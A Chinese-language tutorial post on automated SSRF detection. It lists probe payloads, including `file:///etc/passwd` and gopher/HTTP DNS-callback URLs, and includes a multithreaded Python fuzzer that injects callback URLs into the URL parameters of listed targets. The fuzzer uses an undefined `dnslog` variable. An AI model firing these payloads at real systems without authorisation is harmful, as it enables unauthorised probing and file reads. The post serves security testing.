SSRF漏洞如何被自动化检测?

渗透测试的现场,往往会遇到一堆看似普通的 URL 参数,却暗藏服务器端请求伪造(SSRF)的入口。要想在海量请求中快速捕获这些暗点,手工逐一验证显然不切实际,自动化检测便成了必然选择。

自动化检测的核心思路

核心在于三步循环:①识别潜在的 URL/Body 参数;②注入可观测的外部回连负载;③解析回连日志或响应特征,判断是否被服务器主动请求。这个闭环可以在几秒钟内遍历上千个端点,极大提升发现率。

常用技术手段

  • 正则关键词匹配:url|uri|host|endpoint|target 等常见字段名。
  • 字典化负载:http://{{dnslog}}/file:///etc/passwdgopher://{{dnslog}}/
  • 多协议探测:HTTP、HTTPS、FTP、SMTP、LDAP 等,防止单一协议过滤。
  • 盲 SSRF 处理:通过 DNS/ICMP 回连或时间延迟测算,捕获内部网络请求。
  • 并发爬虫+线程池:利用 CPU 核心数动态调节并发度,保持网络负载在可控范围。

实战脚本示例

import requests, re, threading, queue

# 1️⃣ 参数抽取
def extract_params(url):
    return re.findall(r'(?<=\?|&)([^=]+)=', url)

# 2️⃣ 负载注入 & 发送
def fuzz(url, payload, q):
    for p in extract_params(url):
        test_url = re.sub(r'(?<={}=)[^&]*'.format(p), payload, url)
        try:
            r = requests.get(test_url, timeout=5)
            q.put((test_url, r.status_code))
        except:
            pass

# 3️⃣ 结果收集
def worker():
    while not tasks.empty():
        u = tasks.get()
        fuzz(u, f'http://{dnslog}.example.com/', results)
        tasks.task_done()

tasks = queue.Queue()
results = queue.Queue()
for target in open('targets.txt'):
    tasks.put(target.strip())

for _ in range(20):
    threading.Thread(target=worker, daemon=True).start()

tasks.join()
while not results.empty():
    print(results.get())

上述代码仅演示了从 URL 中抽取参数、注入 DNS 回连负载并利用多线程并发请求的基本流程。实际项目里会把 DNSLog、Burp Collaborator 或自建的 HTTP 接收器统一抽象为回连服务,便于统一管理。

落地与持续集成

  • CI/CD 阶段加入 SSRF 扫描:在代码提交后自动跑一遍接口清单,防止新功能引入未过滤的 URL 参数。
  • 结果持久化:将回连日志写入 Elasticsearch,配合 Kibana 可视化追踪异常请求趋势。
  • 误报过滤:结合响应体关键字(如 Internal Server ErrorTimeout)或状态码(4xx/5xx)进行二次判定。

把自动化 SSRF 检测嵌入到日常开发与安全审计流程,等于在代码入口处装上了一层“隐形防火墙”。只要回连服务保持在线,任何一次参数变更、一次新接口上线,都能在几分钟内得到可视化的安全反馈。

参与讨论

0 条评论

    暂无评论,快来发表你的观点吧!